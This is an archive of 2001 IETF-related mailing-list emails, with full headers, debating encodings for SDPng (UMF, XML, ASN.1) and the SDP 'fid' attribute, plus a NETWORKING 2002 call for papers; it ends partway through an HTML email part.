Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA27138
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 02:00:47 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f56916Z18997
	for <confctrl@ISI.EDU>; Wed, 6 Jun 2001 02:01:06 -0700 (PDT)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id FAA23150;
	Wed, 6 Jun 2001 05:01:04 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3+Sun/8.9.3) with ESMTP id FAA17335;
	Wed, 6 Jun 2001 05:00:46 -0400 (EDT)
Message-ID: <3B1E1C67.57423509@cs.columbia.edu>
Date: Wed, 06 Jun 2001 05:04:55 -0700
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jeff Ayars <jeffa@real.com>
CC: Pete Cordell <pete@tech-know-ware.com>,
        "Dr. Carsten Bormann" <cabo@tzi.org>,
        Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>, confctrl@ISI.EDU,
        sdp-ng@egroups.com
Subject: Re: Encoding SDPng messages using UMF
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org> <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jeff Ayars wrote:
> 
> 
> XSL solves the data type problem in another existing standard way.

I assume you mean (at least also) XML schemas, as XSL is a
transformation language (*). (But XSL is a good example of the power of
using a widely used mechanism rather than inventing your own. For
example, we were able to create XSL which automatically renders CPL
scripts as a tree in HTML. I suspect that something similar would be
useful for SDPng.)

(*) "XML Schemas express shared vocabularies and allow machines to carry
out rules made by people. They provide a means for defining the
structure, content and semantics of XML documents."

> 
> I already have an XML parser in my product.  YAPS (Yet Another Protocol
> Syntax) == YAPP (Yet another protocol parser).  I don't want to bloat my
> product with YAPP.

Particularly since other pieces of a multimedia component already need
XML, such as event descriptions.

> 
> JEff

From confctrl-owner  Wed Jun  6 02:15:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA27659
	for confctrl-outgoing; Wed, 6 Jun 2001 02:15:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA27654
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 02:15:25 -0700 (PDT)
Received: from protactinium (protactinium.btinternet.com [194.73.73.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f569FiZ22066
	for <confctrl@isi.edu>; Wed, 6 Jun 2001 02:15:44 -0700 (PDT)
Received: from [62.7.98.30] (helo=tkw)
	by protactinium with smtp (Exim 3.03 #83)
	id 157ZPh-0003FB-00; Wed, 06 Jun 2001 10:15:41 +0100
Message-ID: <004401c0ee69$a453b560$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: <sdp-ng@yahoogroups.com>, <confctrl@ISI.EDU>
References: <200106060312.f563CHq12203@flyingfox.snowshore.com>
Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
Date: Wed, 6 Jun 2001 10:18:15 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric,

It wasn't clearly stated, but once you have got passed the untagged section
in a construct, you can put the parameters in any order you like.  As a
protocol designer you can decide whether you use untagged values, long tags,
short tags whatever.

In terms of ASN.1 encodings, some work was done about two years ago on XER -
XML encoding rules.  It's quite easy to do that for the basic stuff, but
might be trickier once you start working on Information Object Classes etc.
I don't know whether it ever got finished.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Eric Burger <eburger@snowshore.com>
To: <sdp-ng@yahoogroups.com>; <confctrl@isi.edu>
Sent: 05 June 2001 14:33
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF


> My guess is people don't think of XDR because it's "old" and they don't
think of ASN.1 because it's "from the ITU-T".
>
> ASN.1 is extensible [good], but you have to specify where extensions can
be before you do an extension [very bad].
>
> One thing that ASN.1 and tagged protocols (e.g., keyword/value or XML
tags) in general have is the ability to send and receive the information
elements in any order.  I didn't see that in UMF.  Did I miss it?
>
> BTW: I'm not advocating we use ASN.1 for SDPng.  This is because I would
much prefer to use a tagged protocol.  However, if the consensus is that we
want to go with an IDL/structured protocol, I would propose we consider
adopting an existing specification language.
>
> NOTE: I've never seen "AER" (ASCII Encoding Rules) for ASN.1.  However, it
would be straight-forward to do.  I really, really DON'T want to use ASN.1
with BER or PER!
>
>
> -----Original Message-----
> From: Pete Cordell [mailto:pete@tech-know-ware.com]
> Sent: Tuesday, June 05, 2001 8:51 AM
> To: sdp-ng@yahoogroups.com; confctrl@isi.edu
> Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
>
>
> Eric,
>
... cut ...


From confctrl-owner  Wed Jun  6 02:15:39 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA27673
	for confctrl-outgoing; Wed, 6 Jun 2001 02:15:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA27668
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 02:15:38 -0700 (PDT)
Received: from protactinium (protactinium.btinternet.com [194.73.73.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f569FgZ22064
	for <confctrl@isi.edu>; Wed, 6 Jun 2001 02:15:57 -0700 (PDT)
Received: from [62.7.98.30] (helo=tkw)
	by protactinium with smtp (Exim 3.03 #83)
	id 157ZPg-0003FB-00; Wed, 06 Jun 2001 10:15:40 +0100
Message-ID: <004301c0ee69$a3798200$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: <confctrl@ISI.EDU>, "Jeff Ayars" <jeffa@real.com>
Cc: <sdp-ng@egroups.com>
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org> <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com>
Subject: Re: Encoding SDPng messages using UMF
Date: Wed, 6 Jun 2001 10:13:07 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jeff,

I'm afraid I don't really buy the compression argument.  If size is
important to you than you are prepared to use compression, then you can
compress any protocol, including UMF.  I would rather start off with a
smaller encoding and avoid the extra step.  Indeed, compression seems to
defeat one of the advantages of text encoding, and that's easy sniffing and
viewing of messages on the wire.  After all, a compressed encoding is
effectively a binary encoding.

As for XSL, I think we should try and get some practical experience with it
as a sort of feasibility study ASAP.  I don't think it is going to be as
easy to use as it might first appear.  If Dirk has then, it would be good to
see them so that I can attempt to do a UMF equivalent.  It would be good to
know what the tools status is for it also.

Also, an XSL parser is likely to be something in addition to an XML parser.
Therefore having an XSL parser extension plus an XML parser is likely to be
no better than having an XML parser plus a UMF parser.  After all, XSL =
YAPS also.

Pete.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Jeff Ayars <jeffa@real.com>
To: Pete Cordell <pete@tech-know-ware.com>; Dr. Carsten Bormann
<cabo@tzi.org>; Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>;
<confctrl@ISI.EDU>
Cc: <sdp-ng@egroups.com>
Sent: 05 June 2001 20:47
Subject: Re: Encoding SDPng messages using UMF


> XML may not be the most efficient syntax from a bytes used perspective but
> it is regular and WIDELY understood.  Compression a-la zlib in RFC 2974
for
> SDP compression in SAP or WAP Binary XML representation should be
> considered for byte efficiency.
>
> XSL solves the data type problem in another existing standard way.
>
> I already have an XML parser in my product.  YAPS (Yet Another Protocol
> Syntax) == YAPP (Yet another protocol parser).  I don't want to bloat my

> product with YAPP.
>
> JEff
>
>


From confctrl-owner  Wed Jun  6 05:04:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA03711
	for confctrl-outgoing; Wed, 6 Jun 2001 05:04:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA03706
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 05:04:09 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f56C4SZ22130
	for <confctrl@isi.edu>; Wed, 6 Jun 2001 05:04:28 -0700 (PDT)
Received: from ipdialog.com (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f56C4G207427;
	Wed, 6 Jun 2001 14:04:16 +0200 (MEST)
Message-ID: <3B1E1B7D.D9420AB0@ipdialog.com>
Date: Wed, 06 Jun 2001 14:01:01 +0200
From: Joerg Ott <jo@ipdialog.com>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: FID Draft - again
Content-Type: multipart/mixed;
 boundary="------------3DBB1298034F6EC3D36440EE"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------3DBB1298034F6EC3D36440EE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

All:

After the debate on the mailing list, we have exchanged a couple of further
messages -- and I have received a few comments privately, in favor of and
against extending the scope of fid.

I would like to briefly re-examine the issue to come to a conclusion on this:

The idea present on the table for quite some time now, implemented by various
companies, and agreed upon at the last IETF is a single attribute a=fid: to
identify different RTP media sessions that belong together and may be used
to convey the same information.

The extension as proposed by Orit and backed by a number of other is to
generalize the fid field (and possibly call it "mid") and devote two
attributes to describe what the semantics are.  As a result, each media
description can be coupled with one or more other media descriptions.

The purpose to support lip sync has different semantics than purpose of fid
for alternate codecs.  While one performs a logical grouping of media streams
conveying complementary information (e.g. audio and video) (fid for lip sync),
the other defines a way to identify alternative streams to convey the same
information.  The semantics is to be expressed by means of an a=fpar: attribute
(indicating "lip sync" or "application specific" or something else).
More than one of such groupings shall be allowed per stream.

For basic SIP multimedia calls the problem is currently solved by having
one m= audio and one m= video lines in the SDP and implicitly assuming
that those streams belong together.  If you propose multiple media streams
of a single type, something like the attribute suggested by Orit is needed
to associate two or more media streams.  This would allow you to have e.g.
two m= audio and two m= video lines -- and you could tell which ones belong
together (but it does by no means support assigning any particular semantics
to either of the media streams).

What I have not seen so far, however, is an argument that we are solving a
real world problem right now by doing the extension.  Whicj kind of
application (of today or tomorrow, not next week) do you have in mind
where you convey multiple multimedia stream descriptions between two
SIP UAs?

I can see a distinction between two cases:

a) Conference Bridge

Assume I have a conference bridge (which seems to be the primary motivation
at the moment).  In this case, I may be offering a number of audio and video
codecs to each conference participant and let them choose independently.
Nevertheless, I am offering exactly one peer of media streams to each
participant, irrespective of the codec chosen.  You would imply that you
are to correlate those two media streams (similarly to many other implicit
assumptions of using SDP).  Now if your conference bridge does not perform
mixing or switching of any kind, you have the CNAME/SSRC identifiers of the
various streams to match them at the receiver.  (Note that different logical
sources at a single host could well use different CNAMEs.)

What do you need the lip sync field for?

b) Media streams between two gateways

In case you have two media gateways (or two conference bridges) I can only see
a potential need if you were carrying several media stream peers as part of the
same call.  Again, you have the CNAME/SSRC fields for identification.

In any case, I assume you could use multipart bodies with several SDPs to
have all the grouping you need for the moment -- if all you want to do is
lip sync for several simultaneous media streams between two peers.

I don't want to argue this idea to death -- but I want to get a clear feeling
that what we are doing here is really necessary.

In the meantime, Gonzalo Camarillo has been so kind to volunteer to compile
a merged version of both proposals (if needed) -- but, again, I'd like to be
sure that this is needed.

We will move ahead with a consensus either way -- but none of those speaking
in favor of the extension on the list have made a clear case so far why they
need this very feature and why it can't be done in a different (already
defined or implied way).

And I would like to repeat that we'd prefer to have people contribute to SDPng
instead of arguing that it is prelimenary right now and that they need INTERIM
solutions.

Cheers,
Joerg
--------------3DBB1298034F6EC3D36440EE
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <3B17A7EC.6D3DB9F2@tzi.uni-bremen.de>
Date: Fri, 01 Jun 2001 16:34:20 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
Reply-To: csp@isi.edu
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
Followup-To: csp@isi.edu
To: csp@isi.edu
CC: gonzalo.camarillo@lmf.ericsson.se
Subject: FID Draft - again
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here comes a proposed mail for the mailing list.  Please comment.
(not to be run THROUGH Colin, actually... ;-)

Any comments?

Thanks,
Joerg

----------------------------------------------------------------------------

All:

After the debate on the mailing list, we have exchanged a couple of further
messages -- and I have received a few comments privately, in favor of and
against extending the scope of fid.

I would like to briefly re-examine the issue to come to a conclusion on this:

The idea present on the table for quite some time now, implemented by various
companies, and agreed upon at the last IETF is a single attribute a=fid: to
identify different RTP media sessions that belong together and may be used
to convey the same information.

The extension as proposed by Orit and backed by a number of other is to
generalize the fid field (and possibly call it "mid") and devote two
attributes to describe what the semantics are.  As a result, each media
description can be coupled with one or more other media descriptions.

The purpose to support lip sync has different semantics than purpose of fid
for alternate codecs.  While one performs a logical grouping of media streams
conveying complementary information (e.g. audio and video) (fid for lip sync),
the other defines a way to identify alternative streams to convey the same
information.  The semantics is to be expressed by means of an a=fpar: attribute
(indicating "lip sync" or "application specific" or something else).
More than one of such groupings shall be allowed per stream.

For basic SIP multimedia calls the problem is currently solved by having
one m= audio and one m= video lines in the SDP and implicitly assuming
that those streams belong together.  If you propose multiple media streams
of a single type, something like the attribute suggested by Orit is needed
to associate two or more media streams.  This would allow you to have e.g.
two m= audio and two m= video lines -- and you could tell which ones belong
together (but it does by no means support assigning any particular semantics
to either of the media streams).

What I have not seen so far, however, is an argument that we are solving a
real world problem right now by doing the extension.  Whicj kind of
application (of today or tomorrow, not next week) do you have in mind
where you convey multiple multimedia stream descriptions between two
SIP UAs?

I can see a distinction between two cases: 

a) Conference Bridge

Assume I have a conference bridge (which seems to be the primary motivation
at the moment).  In this case, I may be offering a number of audio and video
codecs to each conference participant and let them choose independently.
Nevertheless, I am offering exactly one peer of media streams to each
participant, irrespective of the codec chosen.  You would imply that you
are to correlate those two media streams (similarly to many other implicit
assumptions of using SDP).  Now if your conference bridge does not perform
mixing or switching of any kind, you have the CNAME/SSRC identifiers of the
various streams to match them at the receiver.  (Note that different logical
sources at a single host could well use different CNAMEs.)

What do you need the lip sync field for?

b) Media streams between two gateways

In case you have two media gateways (or two conference bridges) I can only see
a potential need if you were carrying several media stream peers as part of the
same call.  Again, you have the CNAME/SSRC fields for identification.

In any case, I assume you could use multipart bodies with several SDPs to
have all the grouping you need for the moment -- if all you want to do is
lip sync for several simultaneous media streams between two peers.

I don't want to argue this idea to death -- but I want to get a clear feeling
that what we are doing here is really necessary.

In the meantime, Gonzalo Camarillo has been so kind to volunteer to compile
a merged version of both proposals (if needed) -- but, again, I'd like to be
sure that this is needed.

We will move ahead with a consensus either way -- but none of those speaking
in favor of the extension on the list have made a clear case so far why they
need this very feature and why it can't be done in a different (already
defined or implied way).

And I would like to repeat that we'd prefer to have people contribute to SDPng
instead of arguing that it is prelimenary right now and that they need INTERIM
solutions.

Cheers,
Joerg

--------------3DBB1298034F6EC3D36440EE--


From confctrl-owner  Wed Jun  6 07:27:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA08725
	for confctrl-outgoing; Wed, 6 Jun 2001 07:27:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08709;
	Wed, 6 Jun 2001 07:27:10 -0700 (PDT)
Received: from lrcsun15.epfl.ch (root@lrcsun15.epfl.ch [128.178.156.77])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f56ERSZ24482;
	Wed, 6 Jun 2001 07:27:29 -0700 (PDT)
Received: from lrc.di.epfl.ch (giordano@lrcsun15.epfl.ch [128.178.156.77])
	by lrcsun15.epfl.ch (8.8.X/EPFL-8.1a) with ESMTP id QAA15349;
	Wed, 6 Jun 2001 16:27:24 +0200 (MET DST)
Message-Id: <200106061427.QAA15349@lrcsun15.epfl.ch>
X-Mailer: exmh version 1.6.9 8/22/96
To: spects02@comp.leeds.ac.uk, news-announce-conferences@uunet.uu.net,
        end2end-interest@ISI.EDU, int-serv@ISI.EDU, cost264@lip6.fr,
        mobile-ip@sunroof.eng.sun.com, confctrl@ISI.EDU, aaa-wg@merit.edu
Subject: Preliminary Announcement and Call for Papers: NETWORKING 2002
Reply-To: silvia.giordano@epfl.ch
X-Face: ")YL-h@"&:Ur_,S{#8mRN-B,tM<4b'^A][=FBR\,RRKX@Jxi;$CLV1t0y=N;iY2rIMLYl5l
 qnw6)Kg@%$kCs3o7$Ue_(OFu-YO'8Ie~^GIq4'joA&;FeRoNItjTG:e\#2b0'u/S&,#Wf&H_W1hX}O
 yU,j~1tAM<I,."&rWp^vYc?IlTUj4Y'Z2{?wJ9YZ|2kss:6.D2fM<c()Ya%=@qh3%m!!8n(\
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 06 Jun 2001 16:27:21 +0200
From: "Silvia Giordano - ICA EPFL" <giordano@lrc.epfl.ch>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

***Accept our sincere apologies if you receive multiple copies***

Please feel free to distribute a copy of this call 
to those who might be interested.

	     Preliminary Announcement and Call for Papers

			   NETWORKING 2002

	      The Second IFIP-TC6 Networking Conference
	      http://www.cnuce.pi.cnr.it/Networking2002

		     May 19-24 2002, Pisa - Italy

Networking is the biennial Conference on Networking of the IFIP Technical
Committee on Communication Systems (TC6). Networking 2002 is the second
conference of this series --the first event was held in Paris, May 2000--
and is sponsored by the IFIP working groups on Network and Internetwork
Architectures (WG 6.2), Performance of Communication Systems (WG 6.3), and
Wireless Communications (WG 6.8).

Networking 2002 is organized into three tracks: i) Networking Technologies,
Services and Protocols; ii) Performance of Computer and Communication
Networks; iii) Mobile and Wireless Communications Systems.

The Networking 2002 technical program committee is soliciting papers
describing original, previously unpublished, completed research, not
currently under review by another conference or journal, addressing
state-of-the-art research and development in all areas of computer
networking and data communications. Special sessions will be dedicated to
hot topics such as: Mobile Internet, QoS in Internet, wireless local and
personal area networks, 3G wireless systems, mobile ad-hoc networks. A
detailed list of topics of interest can be found at:
http://www.cnuce.pi.cnr.it/Networking2002/CFP.htm


PAPER SUBMISSION AND PUBLICATION
=================================

Papers must be submitted electronically according to the instructions
described in http://www.cnuce.pi.cnr.it/Networking2002 . All papers will be
reviewed by the program committee. Accepted papers will appear in the
conference proceedings published by Springer-Verlag in the LNCS series.
Authors of selected papers will be invited to submit extended version of
their papers for possible publication in special issues of ACM/Kluwer
Wireless Networks (WINET) and Performance Evaluation journals.

IMPORTANT DATES
===============

Full papers due:	October 15, 2001
Notification:	January 30, 2002
Camera Ready due:	March 15, 2002


EXECUTIVE COMMITTEE
===================

GENERAL CHAIR: Enrico Gregori, National Research Council, Italy

GENERAL VICE-CHAIR: Ioannis Stavrakakis, University of Athens, Greece

TECHNICAL PROGRAM CHAIR: Marco Conti, National Research Council, Italy

SPECIAL TRACK CHAIR for Networking Technologies, Services and Protocols:
Andrew T. Campbell, Columbia University, USA

SPECIAL TRACK CHAIR for Performance of Computer and Communication Networks:
Moshe Zukerman, University of Melbourne, Australia

SPECIAL TRACK CHAIR for Mobile and Wireless Communications Systems: Guy
Omidyar, National University of Singapore

TUTORIAL PROGRAM CHAIRS:
        Giuseppe Anastasi, University of Pisa, Italy
        Stefano Basagni, University of Texas at Dallas, USA

ORGANIZATION CHAIR: Stefano Giordano, University of Pisa, Italy

PUBLICITY CHAIRS:
        Silvia Giordano Ecole Politecnicque Losanna, Switzerland
        Laura Feeney, SICS, Sweden

STEERING COMMITTEE CHAIR: Harry Perros, North Carolina State University, USA

STEERING COMMITTEE MEMBERS:
        Augusto Casaca, IST/INESC, Portugal
        S. K. Das, The University of Texas at Arlington, USA
        Erol Gelenbe, University of Central Florida, USA
        Harry Perros, NCSU, USA (Chair)
        Guy Pujolle, University of Paris 6, France
        Harry Rudin, Switzerland
        Jan Slavik, TESTCOM, Czech Republic
        Hideaki Takagi, University of Tsukuba, Japan
        Samir Thome, ENST, France
        Adam Wolisz, TU-Berlin, Germany




From confctrl-owner  Wed Jun  6 10:14:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA17660
	for confctrl-outgoing; Wed, 6 Jun 2001 10:14:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA17655
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 10:14:42 -0700 (PDT)
Received: from znsgs0ja.europe.nortel.com (znsgs0ja.nortelnetworks.com [47.165.25.40])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f56HF0Z22082
	for <confctrl@isi.edu>; Wed, 6 Jun 2001 10:15:01 -0700 (PDT)
Received: from qnsgs000.nortel.com (znsgs016 [47.255.64.31])
	by znsgs0ja.europe.nortel.com (8.11.0/8.11.0) with ESMTP id f56HEot18403
	for <confctrl@isi.edu>; Wed, 6 Jun 2001 18:14:50 +0100 (BST)
Received: from nwcwi1a.europe.nortel.com by qnsgs000.nortel.com;
          Wed, 6 Jun 2001 18:14:23 +0100
Received: by nwcwi1a.europe.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <MMZ0M0CB>; Wed, 6 Jun 2001 18:14:20 +0100
Message-ID: <A3C2399B2FACD411A54200508BE39C7402E84123@zwcwd00r.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'sdp-ng@yahoogroups.com'" <sdp-ng@yahoogroups.com>, confctrl@ISI.EDU
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF
Date: Wed, 6 Jun 2001 18:14:21 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0EEAC.209C8C90"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0EEAC.209C8C90
Content-Type: text/plain;
	charset="ISO-8859-1"


> 
> One thing that ASN.1 and tagged protocols (e.g., 
> keyword/value or XML tags) in general have is the ability to 
> send and receive the information elements in any order.  I 
> didn't see that in UMF.  Did I miss it?
> 

But this is not a good thing. Strictly speaking, if you can send things in
any order, it dramatically increases the number of test cases that you have
to run. Surely it's better to have a canonical encoding.


> BTW: I'm not advocating we use ASN.1 for SDPng.  This is 
> because I would much prefer to use a tagged protocol.  
> However, if the consensus is that we want to go with an 
> IDL/structured protocol, I would propose we consider adopting 
> an existing specification language.
> 
> NOTE: I've never seen "AER" (ASCII Encoding Rules) for ASN.1. 
>  However, it would be straight-forward to do.  I really, 
> really DON'T want to use ASN.1 with BER or PER!
> 

The ASN.1 Value Notation is effectively an ASCII Encoding Rules.

> 
> -----Original Message-----
> From: Pete Cordell [mailto:pete@tech-know-ware.com]
> Sent: Tuesday, June 05, 2001 8:51 AM
> To: sdp-ng@yahoogroups.com; confctrl@isi.edu
> Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
> 
> 
> Eric,
> 
> That's a good question.
> 
> I think the main problem with ASN.1 is that the initial versions were
> developed without taking enough of the extensibility issues into
> consideration.  The addition of information object classes is 
> so complex as
> to defy comprehension in my opinion.  I really don't think 
> that someone
> should have to put that much effort into understanding 
> something that only
> features as a very small part in the development process.
> 
> UMF allows plugging in of additional syntax models with 
> minimal complexity.
> You could do:
> 
>   module my-addition
>   extends example;
>   plug
>      bool      uses-tls;
>   into example;
> 
> in a separate definition to extend what was described before.
> 
> As for other protocol specification languages, I can think of 
> XDR, xBNF, XML
> and there's probably a whole bunch of IDLs.
> 
> To me, the short answer is, the fact that people are looking 
> to XML to solve
> there problems indicates that this area isn't totally sown up.
> 
> The longer answer is:
> 
> XDR is quite low level, and not as expressive as it could be, 
> although in
> some respect UMF is an extension of XDR, minus some stuff that doesn't
> really actually convey any more information in the definition than is
> already defined elsewhere.
> 
> xBNF is too low level.  It's like working in machine code all 
> the time.
> It's also extremely time consuming and error prone to get a definition
> correct.  The essence of a protocol can also get lost in the detail.
> There's also quite a lot of handle turning to convert this 
> into useable
> code.
> 
> XML initially doesn't have any type information, which seems bad for a
> message definition language.  Schemas are fixing that, but 
> the verbosity of
> specifying all that again mean the message of the message 
> definition gets
> lost in the syntax fluff.  (It would actually be better to 
> define a message
> in UMF and then automate the conversion to XML Schema using 
> tools, as your
> much more likely to get an error free definition that way.)
> 
> In summary, except for ASN.1 (and XDR) I don't think there 
> are really any
> protocol definition languages.  All the other examples have 
> been high jacked
> from the problem domains that they were originally developed for.  The
> result is that they aren't particularly a good match for the 
> problem space.
> The fact that ASN.1 or XDR are not the first thing people rush to when
> defining protocols suggests that there is room for improvement.
> 
> Pete.
> 
> =============================================
> Pete Cordell
> Tech-Know-Ware
> pete@tech-know-ware.com
> +44 1473 635863
> =============================================
> [snip]
> 
> 
> To unsubscribe from this group, send an email to:
> sdp-ng-unsubscribe@egroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to 
http://docs.yahoo.com/info/terms/ 



------_=_NextPart_001_01C0EEAC.209C8C90
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: [sdp-ng] Encoding SDPng messages using UMF</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; One thing that ASN.1 and tagged protocols =
(e.g., </FONT>
<BR><FONT SIZE=3D2>&gt; keyword/value or XML tags) in general have is =
the ability to </FONT>
<BR><FONT SIZE=3D2>&gt; send and receive the information elements in =
any order.&nbsp; I </FONT>
<BR><FONT SIZE=3D2>&gt; didn't see that in UMF.&nbsp; Did I miss =
it?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>But this is not a good thing. Strictly speaking, if =
you can send things in any order, it dramatically increases the number =
of test cases that you have to run. Surely it's better to have a =
canonical encoding.</FONT></P>
<BR>

<P><FONT SIZE=3D2>&gt; BTW: I'm not advocating we use ASN.1 for =
SDPng.&nbsp; This is </FONT>
<BR><FONT SIZE=3D2>&gt; because I would much prefer to use a tagged =
protocol.&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; However, if the consensus is that we want to go =
with an </FONT>
<BR><FONT SIZE=3D2>&gt; IDL/structured protocol, I would propose we =
consider adopting </FONT>
<BR><FONT SIZE=3D2>&gt; an existing specification language.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; NOTE: I've never seen &quot;AER&quot; (ASCII =
Encoding Rules) for ASN.1. </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; However, it would be straight-forward to =
do.&nbsp; I really, </FONT>
<BR><FONT SIZE=3D2>&gt; really DON'T want to use ASN.1 with BER or =
PER!</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>The ASN.1 Value Notation is effectively an ASCII =
Encoding Rules.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Pete Cordell [<A =
HREF=3D"mailto:pete@tech-know-ware.com">mailto:pete@tech-know-ware.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, June 05, 2001 8:51 AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: sdp-ng@yahoogroups.com; =
confctrl@isi.edu</FONT>
